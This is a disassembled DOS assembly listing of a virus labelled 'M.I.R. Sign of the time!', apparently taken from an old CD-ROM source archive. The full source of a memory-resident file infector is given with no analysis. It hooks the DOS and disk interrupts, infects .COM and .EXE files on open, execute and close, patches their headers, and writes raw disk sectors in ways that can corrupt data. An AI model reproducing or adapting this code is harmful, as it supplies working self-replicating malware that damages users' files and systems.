home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MIR.ASM < prev    next >
Assembly Source File  |  1992-09-13  |  19KB  |  830 lines

  1. ; File: MIR.COM
  2. ; File Type: COM
  3. ; Processor: 8086/87/88   
  4. ; Range: 00100h to 007d3h
  5. ; Memory Needed:     2 Kb
  6. ; Initial Stack: 0000:fffe
  7. ; Entry Point: 0000:0100
  8. ; Subroutines:   11
  9.  
  10. .radix 16
  11. cseg        segment para public 'CODE'
  12.         assume    cs:cseg,ds:cseg,es:cseg,ss:cseg
  13.         org    0100h
  14. ; >>>> starts execution here <<<<
  15. o00100        proc far
  16. ;-----------------------------------------------------
  17. o00100        db    'M.'            ;0000:0100 
  18. d00102        db    'I.R.'            ;0000:0102 
  19. d00106        db    ' *-*-*-* Sign of the ' ;0000:0106 
  20.         db    'time!'            ;0000:011b 
  21.         db    00            ;0000:0120 .
  22. ;-----------------------------------------------------
  23.         nop    
  24.         nop    
  25.         nop    
  26.         nop    
  27.         pop    dx            
  28. m00126:        mov    bx,es
  29.         add    bx,10h
  30.         add    bx,WORD PTR cs:[si+06c8h]
  31.         mov    WORD PTR cs:[si+0053h],bx
  32.         mov    bx,WORD PTR cs:[si+06c6h]
  33.         mov    WORD PTR cs:[si+0051h],bx
  34.         mov    bx,es
  35.         add    bx,10h
  36.         add    bx,WORD PTR cs:[si+06cch]
  37.         mov    ss,bx
  38.         mov    sp,WORD PTR cs:[si+06cah]
  39.         jmp    0000:0000
  40. m00155:        mov    di,0100h
  41.         add    si,06ceh
  42.         movsb                ;Mov DS:[SI]->ES:[DI]
  43.         movsw                ;Mov DS:[SI]->ES:[DI]
  44.         mov    sp,WORD PTR [d00006]
  45.         xor    bx,bx            ;Load register w/ 0
  46.         push    bx            
  47.         jmp    WORD PTR [si-0bh]
  48.         call    s1 ;<0016b>
  49. o00100      endp 
  50.  
  51. ;<0016b> 
  52. s1          proc near
  53.         pop    si            
  54.         sub    si,006bh
  55.         cld                ;Forward String Opers
  56.         nop    
  57.         cmp    WORD PTR cs:[si+06ceh],5a4dh
  58.         jz    b0018b            ;Jump if equal (ZF=1)
  59.         cli                ;Turn OFF Interrupts
  60.         nop    
  61.         mov    sp,si
  62.         add    sp,07d1h
  63.         sti                ;Turn ON Interrupts
  64.         nop    
  65.         cmp    sp,WORD PTR [d00006]
  66.         jnb    m00155            ;Jump if >= (no sign)
  67. b0018b:        push    ax            
  68.         push    es            
  69.         nop    
  70.         push    si            
  71.         push    ds            
  72.         mov    di,si
  73.         xor    ax,ax            ;Load register w/ 0
  74.         nop    
  75.         push    ax            
  76.         mov    ds,ax
  77.         les    ax,DWORD PTR [d0004c]
  78.         nop    
  79.         mov    WORD PTR cs:[si+06bdh],ax
  80.         mov    WORD PTR cs:[si+06bfh],es
  81.         mov    WORD PTR cs:[si+06b8h],ax
  82.         nop    
  83.         mov    WORD PTR cs:[si+06bah],es
  84.         mov    ax,WORD PTR [d00102]
  85.         cmp    ax,0f000h
  86.         nop    
  87.         jnz    b00235            ;Jump not equal(ZF=0)
  88.         mov    WORD PTR cs:[si+06bah],ax
  89.         mov    ax,WORD PTR [o00100]
  90.         mov    WORD PTR cs:[si+06b8h],ax
  91.         nop    
  92.         mov    dl,80h
  93.         mov    ax,WORD PTR [d00106]
  94.         cmp    ax,0f000h
  95.         jz    b001f2            ;Jump if equal (ZF=1)
  96.         nop    
  97.         cmp    ah,0c8h
  98.         jb    b00235            ;Jump if <  (no sign)
  99.         cmp    ah,0f4h
  100.         jnb    b00235            ;Jump if >= (no sign)
  101.         nop    
  102.         test    al,7fh            ;Flags=Arg1 AND Arg2
  103.         jnz    b00235            ;Jump not equal(ZF=0)
  104.         mov    ds,ax
  105.         cmp    WORD PTR [d00000],0aa55h
  106.         nop    
  107.         jnz    b00235            ;Jump not equal(ZF=0)
  108.         mov    dl,BYTE PTR [d00002]
  109. b001f2:        mov    ds,ax
  110.         xor    dh,dh            ;Load register w/ 0
  111.         mov    cl,09
  112.         shl    dx,cl            ;Multiply by 2's
  113.         mov    cx,dx
  114.         xor    si,si            ;Load register w/ 0
  115. b001fe:        lodsw                ;Load AX with DS:[SI]
  116.         cmp    ax,0fa80h
  117.         jnz    b0020c            ;Jump not equal(ZF=0)
  118.         lodsw                ;Load AX with DS:[SI]
  119.         cmp    ax,7380h
  120.         jz    b00217            ;Jump if equal (ZF=1)
  121.         jnz    b00221            ;Jump not equal(ZF=0)
  122. b0020c:        cmp    ax,0c2f6h
  123.         jnz    b00223            ;Jump not equal(ZF=0)
  124.         lodsw                ;Load AX with DS:[SI]
  125.         cmp    ax,7580h
  126.         jnz    b00221            ;Jump not equal(ZF=0)
  127. b00217:        inc    si            
  128.         lodsw                ;Load AX with DS:[SI]
  129.         cmp    ax,40cdh
  130.         jz    b00228            ;Jump if equal (ZF=1)
  131.         sub    si,03
  132. b00221:        dec    si            
  133.         dec    si            
  134. b00223:        dec    si            
  135.         loop    b001fe            ;Dec CX;Loop if CX>0
  136.         jmp    short b00235
  137. b00228:        sub    si,07
  138.         mov    WORD PTR cs:[di+06bdh],si
  139.         mov    WORD PTR cs:[di+06bfh],ds
  140. b00235:        mov    si,di
  141.         pop    ds            
  142.         push    cs            
  143.         pop    ds            
  144.         cmp    ax,02fah
  145.         jnz    b0025c            ;Jump not equal(ZF=0)
  146.         xor    di,di            ;Load register w/ 0
  147.         mov    cx,06b8h
  148. b00252:        lodsb                ;Load AL with DS:[SI]
  149.         scasb                ;Flags = AL - ES:[DI]
  150.         jnz    b0025c            ;Jump not equal(ZF=0)
  151.         loop    b00252            ;Dec CX;Loop if CX>0
  152.         pop    es            
  153.         jmp    m002e9
  154. b0025c:        pop    es            
  155.         mov    ah,49h
  156.         int    21h            ;undefined
  157.         mov    bx,0ffffh
  158.         mov    ah,48h
  159.         int    21h            ;undefined
  160.         sub    bx,00e0h
  161.         jb    m002e9            ;Jump if <  (no sign)
  162.         mov    cx,es
  163.         stc    
  164.         adc    cx,bx
  165.         mov    ah,4ah
  166.         int    21h            ;undefined
  167.         mov    bx,00dfh
  168.         stc    
  169.         sbb    WORD PTR es:[d00002],bx
  170.         push    es            
  171.         mov    es,cx
  172.         mov    ah,4ah
  173.         int    21h            ;undefined
  174.         mov    ax,es
  175.         dec    ax            
  176.         mov    ds,ax
  177.         mov    WORD PTR [d00001],0008h
  178.         call    s11 ;<007a7>
  179.         mov    bx,ax
  180.         mov    cx,dx
  181.         pop    ds            
  182.         mov    ax,ds
  183.         call    s11 ;<007a7>
  184.         add    ax,WORD PTR [d00006]
  185.         adc    dx,00
  186.         sub    ax,bx
  187.         sbb    dx,cx
  188.         jb    b002b0            ;Jump if <  (no sign)
  189.         sub    WORD PTR [d00006],ax
  190. b002b0:        pop    si            
  191.         push    si            
  192.         push    ds            
  193.         push    cs            
  194.         xor    di,di            ;Load register w/ 0
  195.         mov    ds,di
  196.         lds    ax,DWORD PTR [d0009c]
  197.         mov    WORD PTR cs:[si+0714h],ax
  198.         mov    WORD PTR cs:[si+0716h],ds
  199.         pop    ds            
  200.         mov    cx,071ch
  201.         repz    movsb            ;Mov DS:[SI]->ES:[DI]
  202.         xor    ax,ax            ;Load register w/ 0
  203.         mov    ds,ax
  204.         pop    es            
  205. m002e9:        pop    si            
  206.         xor    ax,ax            ;Load register w/ 0
  207.         mov    ds,ax
  208.         mov    ax,WORD PTR [d0004c]
  209.         mov    WORD PTR cs:[si+06c2h],ax
  210.         mov    ax,WORD PTR [d0004e]
  211.         mov    WORD PTR cs:[si+06c4h],ax
  212.         mov    WORD PTR [d0004c],06adh
  213.         add    WORD PTR [d0004c],si
  214.         mov    WORD PTR [d0004e],cs
  215.         pop    ds            
  216.         push    ds            
  217.         push    si            
  218.         mov    bx,si
  219.         lds    ax,DWORD PTR [d0002a]
  220.         xor    si,si            ;Load register w/ 0
  221.         mov    dx,si
  222. b00319:        lodsw                ;Load AX with DS:[SI]
  223.         dec    si            
  224.         test    ax,ax            ;Flags=Arg1 AND Arg2
  225.         jnz    b00319            ;Jump not equal(ZF=0)
  226.         add    si,03
  227.         lodsb                ;Load AL with DS:[SI]
  228.         sub    al,41h
  229.         mov    cx,0001h
  230.         push    cs            
  231.         pop    ds            
  232.         add    bx,02b5h
  233.         push    ax            
  234.         push    bx            
  235.         push    cx            
  236.         int    25h            ;undefined
  237.         pop    ax            
  238.         pop    cx            
  239.         pop    bx            
  240.         inc    BYTE PTR [bx+0ah]
  241.         and    BYTE PTR [bx+0ah],0fh
  242.         jnz    b00372            ;Jump not equal(ZF=0)
  243.         mov    al,BYTE PTR [bx+10h]
  244.         xor    ah,ah            ;Load register w/ 0
  245.         mul    WORD PTR [bx+16h]
  246.         add    ax,WORD PTR [bx+0eh]
  247.         push    ax            
  248.         mov    ax,WORD PTR [bx+11h]
  249.         mov    dx,0020h
  250.         mul    dx
  251.         div    WORD PTR [bx+0bh]
  252.         pop    dx            
  253.         add    dx,ax
  254.         mov    ax,WORD PTR [bx+08]
  255.         add    ax,0040h
  256.         cmp    ax,WORD PTR [bx+13h]
  257.         jb    b0036f            ;Jump if <  (no sign)
  258.         inc    ax            
  259.         and    ax,003fh
  260.         add    ax,dx
  261.         cmp    ax,WORD PTR [bx+13h]
  262.         jnb    b0038b            ;Jump if >= (no sign)
  263. b0036f:        mov    WORD PTR [bx+08],ax
  264. b00372:        pop    ax            
  265.         xor    dx,dx            ;Load register w/ 0
  266.         push    ax            
  267.         push    bx            
  268.         push    cx            
  269.         int    26h            ;undefined
  270.         pop    ax            
  271.         pop    cx            
  272.         pop    bx            
  273.         pop    ax            
  274.         cmp    BYTE PTR [bx+0ah],00
  275.         jnz    b0038c            ;Jump not equal(ZF=0)
  276.         mov    dx,WORD PTR [bx+08]
  277.         pop    bx            
  278.         push    bx            
  279.         int    26h            ;undefined
  280. b0038b:        pop    ax            
  281. b0038c:        pop    si            
  282.         xor    ax,ax            ;Load register w/ 0
  283.         mov    ds,ax
  284.         mov    ax,WORD PTR cs:[si+06c2h]
  285.         mov    WORD PTR [d0004c],ax
  286.         mov    ax,WORD PTR cs:[si+06c4h]
  287.         mov    WORD PTR [d0004e],ax
  288.         pop    ds            
  289.         pop    ax            
  290.         cmp    WORD PTR cs:[si+06ceh],5a4dh
  291.         jnz    b003af            ;Jump not equal(ZF=0)
  292.         jmp    m00126
  293. b003af:        jmp    m00155
  294.         mov    al,03
  295.         iret                ;POP flags and Return
  296.         pushf                ;Push flags on Stack
  297.         call    s7 ;<00728>
  298.         popf                ;Pop flags off Stack
  299.         jmp    DWORD PTR cs:[d00714]
  300. b003bf:        mov    WORD PTR cs:[d00714],dx
  301.         mov    WORD PTR cs:[b00716],ds
  302.         popf                ;Pop flags off Stack
  303.         iret                ;POP flags and Return
  304. b003cb:        mov    WORD PTR cs:[d00718],dx
  305.         mov    WORD PTR cs:[d0071a],ds
  306.         popf                ;Pop flags off Stack
  307.         iret                ;POP flags and Return
  308. b003d7:        les    bx,DWORD PTR cs:[d00714]
  309.         popf                ;Pop flags off Stack
  310.         iret                ;POP flags and Return
  311. b003de:        les    bx,DWORD PTR cs:[d00718]
  312.         popf                ;Pop flags off Stack
  313.         iret                ;POP flags and Return
  314. b003e5:        call    s5 ;<0050b>
  315.         call    s7 ;<00728>
  316.         popf                ;Pop flags off Stack
  317.         jmp    DWORD PTR cs:[d00718]
  318. ;-----------------------------------------------------
  319.         db    '&^%s%c'        ;0000:03f1 
  320. ;-----------------------------------------------------
  321.         and    ax,0064h
  322.         push    bp            ;Get Args from Stack
  323.         mov    bp,sp
  324.         push    WORD PTR [bp+06]
  325.         popf                ;Pop flags off Stack
  326.         pop    bp            ;End High Level Subr
  327.         pushf                ;Push flags on Stack
  328.         call    s8 ;<00732>
  329.         cmp    ax,2521h
  330.         jz    b003cb            ;Jump if equal (ZF=1)
  331.         cmp    ax,2527h
  332.         jz    b003bf            ;Jump if equal (ZF=1)
  333.         cmp    ax,3527h
  334.         jz    b003d7            ;Jump if equal (ZF=1)
  335.         cld                ;Forward String Opers
  336.         cmp    ax,4b00h
  337.         jz    b003e5            ;Jump if equal (ZF=1)
  338.         cmp    ah,3ch
  339.         jz    b0042f            ;Jump if equal (ZF=1)
  340.         cmp    ah,3eh
  341.         jz    b0046b            ;Jump if equal (ZF=1)
  342.         cmp    ah,5bh
  343.         jnz    b00495            ;Jump not equal(ZF=0)
  344. b0042f:        cmp    WORD PTR cs:[d006d1],00
  345.         jnz    b004ac            ;Jump not equal(ZF=0)
  346.         call    s2 ;<004c2>
  347.         jnz    b004ac            ;Jump not equal(ZF=0)
  348.         call    s7 ;<00728>
  349.         popf                ;Pop flags off Stack
  350.         call    s4 ;<00504>
  351.         jb    b004b3            ;Jump if <  (no sign)
  352.         pushf                ;Push flags on Stack
  353.         push    es            
  354.         push    cs            
  355.         pop    es            
  356.         push    si            
  357.         push    di            
  358.         push    cx            
  359.         push    ax            
  360.         mov    di,06d1h
  361.         stosw                ;Store AX at ES:[DI]
  362.         mov    si,dx
  363.         mov    cx,0041h
  364. b00456:        lodsb                ;Load AL with DS:[SI]
  365.         stosb                ;Store AL at ES:[DI]
  366.         test    al,al            ;Flags=Arg1 AND Arg2
  367.         jz    b00463            ;Jump if equal (ZF=1)
  368.         loop    b00456            ;Dec CX;Loop if CX>0
  369.         mov    WORD PTR es:[d006d1],cx
  370. b00463:        pop    ax            
  371.         pop    cx            
  372.         pop    di            
  373.         pop    si            
  374.         pop    es            
  375. b00468:        popf                ;Pop flags off Stack
  376.         jnb    b004b3            ;Jump if >= (no sign)
  377. b0046b:        cmp    bx,WORD PTR cs:[d006d1]
  378.         jnz    b004ac            ;Jump not equal(ZF=0)
  379.         test    bx,bx            ;Flags=Arg1 AND Arg2
  380.         jz    b004ac            ;Jump if equal (ZF=1)
  381.         call    s7 ;<00728>
  382.         popf                ;Pop flags off Stack
  383.         call    s4 ;<00504>
  384.         jb    b004b3            ;Jump if <  (no sign)
  385.         pushf                ;Push flags on Stack
  386.         push    ds            
  387.         push    cs            
  388.         pop    ds            
  389.         push    dx            
  390.         mov    dx,06d3h
  391.         call    s5 ;<0050b>
  392.         mov    WORD PTR cs:[d006d1],0000h
  393.         pop    dx            
  394.         pop    ds            
  395.         jmp    short b00468
  396. b00495:        cmp    ah,3dh
  397.         jz    b004a4            ;Jump if equal (ZF=1)
  398.         cmp    ah,43h
  399.         jz    b004a4            ;Jump if equal (ZF=1)
  400.         cmp    ah,56h
  401.         jnz    b004ac            ;Jump not equal(ZF=0)
  402. b004a4:        call    s2 ;<004c2>
  403.         jnz    b004ac            ;Jump not equal(ZF=0)
  404.         call    s5 ;<0050b>
  405. b004ac:        call    s7 ;<00728>
  406.         popf                ;Pop flags off Stack
  407.         call    s4 ;<00504>
  408. b004b3:        pushf                ;Push flags on Stack
  409.         push    ds            
  410.         call    s9 ;<0078b>
  411.         mov    BYTE PTR [d00000],5ah
  412.         pop    ds            
  413.         popf                ;Pop flags off Stack
  414.         ret    0002h            ;(far)
  415. s1          endp 
  416.  
  417. ;<004c2> 
  418. s2          proc near
  419.         push    ax            
  420.         push    si            
  421.         mov    si,dx
  422. b004c6:        lodsb                ;Load AL with DS:[SI]
  423.         test    al,al            ;Flags=Arg1 AND Arg2
  424.         jz    b004f3            ;Jump if equal (ZF=1)
  425.         cmp    al,64h ;(d)
  426.         jz    b004f3            ;Jump if equal (ZF=1)
  427.         add    al,01
  428.         cmp    al,2eh ;(.)
  429.         jnz    b004c6            ;Jump not equal(ZF=0)
  430.         call    s3 ;<004f8>
  431.         mov    ah,al
  432.         call    s3 ;<004f8>
  433.         cmp    ax,6f76h
  434.         jz    b004ee            ;Jump if equal (ZF=1)
  435.         cmp    ax,6578h
  436.         jnz    b004f5            ;Jump not equal(ZF=0)
  437.         call    s3 ;<004f8>
  438.         cmp    al,65h ;(e)
  439.         jmp    short b004f5
  440. b004ee:        call    s3 ;<004f8>
  441.         jnz    b004f5            ;Jump not equal(ZF=0)
  442. b004f3:        inc    al
  443. b004f5:        pop    si            
  444.         pop    ax            
  445.         ret    
  446. s2          endp 
  447.  
  448. ;<004f8> 
  449. s3          proc near
  450.         lodsb                ;Load AL with DS:[SI]
  451.         cmp    al,43h ;(C)
  452.         jb    b00503            ;Jump if <  (no sign)
  453.         cmp    al,59h ;(Y)
  454.         jnb    b00503            ;Jump if >= (no sign)
  455.         add    al,19h
  456. b00503:        ret    
  457. s3          endp 
  458.  
  459. ;<00504> 
  460. s4          proc near
  461.         pushf                ;Push flags on Stack
  462.         call    DWORD PTR cs:[d00718]
  463.         ret    
  464. s4          endp 
  465.  
  466. ;<0050b> 
  467. s5          proc near
  468.         push    ds            
  469.         push    es            
  470.         push    si            
  471.         push    di            
  472.         push    ax            
  473.         push    bx            
  474.         push    cx            
  475.         push    dx            
  476.         mov    si,ds
  477.         xor    ax,ax            ;Load register w/ 0
  478.         mov    ds,ax
  479.         les    ax,DWORD PTR [d00090]
  480.         push    es            
  481.         push    ax            
  482.         mov    WORD PTR [d00090],02b2h
  483.         mov    WORD PTR [d00092],cs
  484.         les    ax,DWORD PTR [d0004c]
  485.         mov    WORD PTR cs:[d006c2],ax
  486.         mov    WORD PTR cs:[d006c4],es
  487.         mov    WORD PTR [d0004c],06adh
  488.         mov    WORD PTR [d0004e],cs
  489.         push    es            
  490.         push    ax            
  491.         mov    ds,si
  492.         xor    cx,cx            ;Load register w/ 0
  493.         mov    ax,4300h
  494.         call    s4 ;<00504>
  495.         mov    bx,cx
  496.         and    cl,0feh
  497.         cmp    cl,bl
  498.         jz    b0055c            ;Jump if equal (ZF=1)
  499.         mov    ax,4301h
  500.         call    s4 ;<00504>
  501.         stc    
  502. b0055c:        pushf                ;Push flags on Stack
  503.         push    ds            
  504.         push    dx            
  505.         push    bx            
  506.         mov    ax,3d02h
  507.         call    s4 ;<00504>
  508.         jb    b00572            ;Jump if <  (no sign)
  509.         mov    bx,ax
  510.         call    s6 ;<0059b>
  511.         mov    ah,3eh
  512.         call    s4 ;<00504>
  513. b00572:        pop    cx            
  514.         pop    dx            
  515.         pop    ds            
  516.         popf                ;Pop flags off Stack
  517.         jnb    b0057e            ;Jump if >= (no sign)
  518.         mov    ax,4301h
  519.         call    s4 ;<00504>
  520. b0057e:        xor    ax,ax            ;Load register w/ 0
  521.         mov    ds,ax
  522.         pop    WORD PTR [d0004c]
  523.         pop    WORD PTR [d0004e]
  524.         pop    WORD PTR [d00090]
  525.         pop    WORD PTR [d00092]
  526.         pop    dx            
  527.         pop    cx            
  528.         pop    bx            
  529.         pop    ax            
  530.         pop    di            
  531.         pop    si            
  532.         pop    es            
  533.         pop    ds            
  534.         ret    
  535. s5          endp 
  536.  
  537. ;<0059b> 
  538. s6          proc near
  539.         spc=$
  540.          org    0006c2h
  541. d006c2:        org    0006c4h
  542. d006c4:        org    0006d1h
  543. d006d1:        org    000714h
  544. d00714:        org    000716h
  545. d00716:        org    000718h
  546. d00718:        org    00071ah
  547. d0071a:        org    00071ch
  548. d0071c:        org    00071dh
  549. d0071d:        org    00071eh
  550. d0071e:        org    000720h
  551. d00720:        org    000724h
  552. d00724:        org    spc
  553.         push    cs            
  554.         pop    ds            
  555.         push    cs            
  556.         pop    es            
  557.         mov    dx,071ch
  558.         mov    cx,0018h
  559.         mov    ah,3fh
  560.         int    21h            ;undefined
  561.         xor    cx,cx            ;Load register w/ 0
  562.         xor    dx,dx            ;Load register w/ 0
  563.         mov    ax,4202h
  564.         int    21h            ;undefined
  565.         mov    WORD PTR [d00736],dx
  566.         cmp    ax,06b8h
  567.         sbb    dx,00
  568.         jb    b0062c            ;Jump if <  (no sign)
  569.         mov    WORD PTR [d00734],ax
  570.         cmp    WORD PTR [d0071c],5a4dh
  571.         jnz    b005e0            ;Jump not equal(ZF=0)
  572.         mov    ax,WORD PTR [d00724]
  573.         add    ax,WORD PTR [s8 ;<00732>]
  574.         call    s11 ;<007a7>
  575.         add    ax,WORD PTR [d00730]
  576.         adc    dx,00
  577.         mov    cx,dx
  578.         mov    dx,ax
  579.         jmp    short b005f5
  580. b005e0:        cmp    BYTE PTR [d0071c],0e9h
  581.         jnz    b0062d            ;Jump not equal(ZF=0)
  582.         mov    dx,WORD PTR [b0071d]
  583.         add    dx,0103h
  584.         jb    b0062d            ;Jump if <  (no sign)
  585.         dec    dh
  586.         xor    cx,cx            ;Load register w/ 0
  587. b005f5:        sub    dx,68h
  588.         sbb    cx,00
  589.         mov    ax,4200h
  590.         int    21h            ;undefined
  591.         add    ax,06d1h
  592.         adc    dx,00
  593.         cmp    ax,WORD PTR [d00734]
  594.         jnz    b0062d            ;Jump not equal(ZF=0)
  595.         cmp    dx,WORD PTR [d00736]
  596.         jnz    b0062d            ;Jump not equal(ZF=0)
  597.         mov    dx,0738h
  598.         mov    si,dx
  599.         mov    cx,06b8h
  600.         mov    ah,3fh
  601.         int    21h            ;undefined
  602.         jb    b0062d            ;Jump if <  (no sign)
  603.         cmp    cx,ax
  604.         jnz    b0062d            ;Jump not equal(ZF=0)
  605.         xor    di,di            ;Load register w/ 0
  606. b00626:        lodsb                ;Load AL with DS:[SI]
  607.         scasb                ;Flags = AL - ES:[DI]
  608.         jnz    b0062d            ;Jump not equal(ZF=0)
  609.         loop    b00626            ;Dec CX;Loop if CX>0
  610. b0062c:        ret    
  611. b0062d:        xor    cx,cx            ;Load register w/ 0
  612.         xor    dx,dx            ;Load register w/ 0
  613.         mov    ax,4202h
  614.         int    21h            ;undefined
  615.         cmp    WORD PTR [d0071c],5a4dh
  616.         jz    b00647            ;Jump if equal (ZF=1)
  617.         add    ax,091ch
  618.         adc    dx,00
  619.         jz    b0065e            ;Jump if equal (ZF=1)
  620.         ret    
  621. b00647:        mov    dx,WORD PTR [d00734]
  622.         neg    dl
  623.         and    dx,0fh
  624.         xor    cx,cx            ;Load register w/ 0
  625.         mov    ax,4201h
  626.         int    21h            ;undefined
  627.         mov    WORD PTR [d00734],ax
  628.         mov    WORD PTR [d00736],dx
  629. b0065e:        mov    ax,5700h
  630.         int    21h            ;undefined
  631.         pushf                ;Push flags on Stack
  632.         push    cx            
  633.         push    dx            
  634.         cmp    WORD PTR [d0071c],5a4dh
  635.         jz    b00673            ;Jump if equal (ZF=1)
  636.         mov    ax,0100h
  637.         jmp    short b0067a
  638. b00673:        mov    ax,WORD PTR [d00730]
  639.         mov    dx,WORD PTR [s8 ;<00732>]
  640. b0067a:        mov    di,06c6h
  641.         stosw                ;Store AX at ES:[DI]
  642.         mov    ax,dx
  643.         stosw                ;Store AX at ES:[DI]
  644.         mov    ax,WORD PTR [d0072c]
  645.         stosw                ;Store AX at ES:[DI]
  646.         mov    ax,WORD PTR [d0072a]
  647.         stosw                ;Store AX at ES:[DI]
  648.         mov    si,071ch
  649.         movsb                ;Mov DS:[SI]->ES:[DI]
  650.         movsw                ;Mov DS:[SI]->ES:[DI]
  651.         xor    dx,dx            ;Load register w/ 0
  652.         mov    cx,06d1h
  653.         mov    ah,40h
  654.         int    21h            ;undefined
  655.         jb    b006bf            ;Jump if <  (no sign)
  656.         xor    cx,ax
  657.         jnz    b006bf            ;Jump not equal(ZF=0)
  658.         mov    dx,cx
  659.         mov    ax,4200h
  660.         int    21h            ;undefined
  661.         cmp    WORD PTR [d0071c],5a4dh
  662.         jz    b006c1            ;Jump if equal (ZF=1)
  663.         mov    BYTE PTR [d0071c],0e9h
  664.         mov    ax,WORD PTR [d00734]
  665.         add    ax,0065h
  666.         mov    WORD PTR [b0071d],ax
  667.         mov    cx,0003h
  668.         jmp    short b00716
  669. b006bf:        jmp    short b0071d
  670. b006c1:        call    s10 ;<007a4>
  671.         not    ax
  672.         not    dx
  673.         inc    ax            
  674.         jnz    b006cc            ;Jump not equal(ZF=0)
  675.         inc    dx            
  676. b006cc:        add    ax,WORD PTR [d00734]
  677.         adc    dx,WORD PTR [d00736]
  678.         mov    cx,0010h
  679.         div    cx
  680.         mov    WORD PTR [d00730],0068h
  681.         mov    WORD PTR [s8 ;<00732>],ax
  682.         add    ax,006eh
  683.         mov    WORD PTR [d0072a],ax
  684.         mov    WORD PTR [d0072c],0100h
  685.         add    WORD PTR [d00734],06d1h
  686.         adc    WORD PTR [d00736],00
  687.         mov    ax,WORD PTR [d00734]
  688.         and    ax,01ffh
  689.         mov    WORD PTR [d0071e],ax
  690.         pushf                ;Push flags on Stack
  691.         mov    ax,WORD PTR [d00735]
  692.         shr    BYTE PTR [d00737],1    ;Divide by 2's
  693.         rcr    ax,1            ;CF-->[HI .. LO]-->CF
  694.         popf                ;Pop flags off Stack
  695.         jz    b00710            ;Jump if equal (ZF=1)
  696.         inc    ax            
  697. b00710:        mov    WORD PTR [d00720],ax
  698.         mov    cx,0018h
  699. b00716:        mov    dx,071ch
  700.         mov    ah,40h
  701.         int    21h            ;undefined
  702. b0071d:        pop    dx            
  703.         pop    cx            
  704.         popf                ;Pop flags off Stack
  705.         jb    b00727            ;Jump if <  (no sign)
  706.         mov    ax,5701h
  707.         int    21h            ;undefined
  708. b00727:        ret    
  709. s6          endp 
  710.  
  711. ;<00728> 
  712. s7          proc near
  713.         spc=$
  714.          org    00072ah
  715. d0072a:        org    00072ch
  716. d0072c:        org    000730h
  717. d00730:        org    spc
  718.         push    ds            
  719.         call    s9 ;<0078b>
  720.         mov    BYTE PTR [d00000],4dh
  721.         pop    ds            
  722. s7          endp 
  723.  
  724. ;<00732> 
  725. s8          proc near
  726.         spc=$
  727.          org    000732h
  728. d00732:        org    000734h
  729. d00734:        org    000735h
  730. d00735:        org    000736h
  731. d00736:        org    000737h
  732. d00737:        org    spc
  733.         push    ds            
  734.         push    ax            
  735.         push    bx            
  736.         push    dx            
  737.         xor    bx,bx            ;Load register w/ 0
  738.         mov    ds,bx
  739.         lds    dx,DWORD PTR [d00084]
  740.         cmp    dx,02fah
  741.         jnz    b0074e            ;Jump not equal(ZF=0)
  742.         mov    ax,ds
  743.         mov    bx,cs
  744.         cmp    ax,bx
  745.         jz    b00786            ;Jump if equal (ZF=1)
  746.         xor    bx,bx            ;Load register w/ 0
  747. b0074e:        mov    ax,WORD PTR [bx]
  748.         cmp    ax,02fah
  749.         jnz    b0075c            ;Jump not equal(ZF=0)
  750.         mov    ax,cs
  751.         cmp    ax,WORD PTR [bx+02]
  752.         jz    b00761            ;Jump if equal (ZF=1)
  753. b0075c:        inc    bx            
  754.         jnz    b0074e            ;Jump not equal(ZF=0)
  755.         jz    b0077a            ;Jump if equal (ZF=1)
  756. b00761:        mov    ax,WORD PTR cs:[d00718]
  757.         mov    WORD PTR [bx],ax
  758.         mov    ax,WORD PTR cs:[d0071a]
  759.         mov    WORD PTR [bx+02],ax
  760.         mov    WORD PTR cs:[d00718],dx
  761.         mov    WORD PTR cs:[d0071a],ds
  762.         xor    bx,bx            ;Load register w/ 0
  763. b0077a:        mov    ds,bx
  764.         mov    WORD PTR [d00084],02fah
  765.         mov    WORD PTR [d00086],cs
  766. b00786:        pop    dx            
  767.         pop    bx            
  768.         pop    ax            
  769.         pop    ds            
  770.         ret    
  771. s8          endp 
  772.  
  773. ;<0078b> 
  774. s9          proc near
  775.         push    ax            
  776.         push    bx            
  777.         mov    ah,62h
  778.         call    s4 ;<00504>
  779.         mov    ax,cs
  780.         dec    ax            
  781.         dec    bx            
  782. b00796:        mov    ds,bx
  783.         stc    
  784.         adc    bx,WORD PTR [d00003]
  785.         cmp    bx,ax
  786.         jb    b00796            ;Jump if <  (no sign)
  787.         pop    bx            
  788.         pop    ax            
  789.         ret    
  790. s9          endp 
  791.  
  792. ;<007a4> 
  793. s10         proc near
  794.         mov    ax,WORD PTR [d00724]
  795. s10         endp 
  796.  
  797. ;<007a7> 
  798. s11         proc near
  799.         mov    dx,0010h
  800.         mul    dx
  801.         ret    
  802. ;-----------------------------------------------------
  803.         cmp    ah,03
  804.         jnz    b007c1            ;Jump not equal(ZF=0)
  805.         cmp    dl,80h
  806.         jnb    b007bc            ;Jump if >= (no sign)
  807.         jmp    0000:0000
  808. b007bc:        jmp    0000:0000
  809. b007c1:        jmp    0000:0000
  810. ;-----------------------------------------------------
  811.         db    00,01            ;0000:07c6 ..
  812.         db    6d dup (00h)        ;0000:07c8 (.)
  813.         db    0cdh,20,90,90,90,90    ;0000:07ce . ....
  814. s11         endp 
  815.         spc=$
  816.          org    000000h
  817. d00000:        org    000001h
  818. d00001:        org    000002h
  819. d00002:        org    000003h
  820. d00003:        org    000006h
  821. d00006:        org    00002ah
  822. d0002a:        org    00004ch
  823. d00086:        org    000090h
  824. d00090:        org    000092h
  825. d00092:        org    00009ch
  826. d0009c:        org    00009eh
  827. d0009e:        org    spc
  828. cseg        ends
  829.         end    o00100
  830.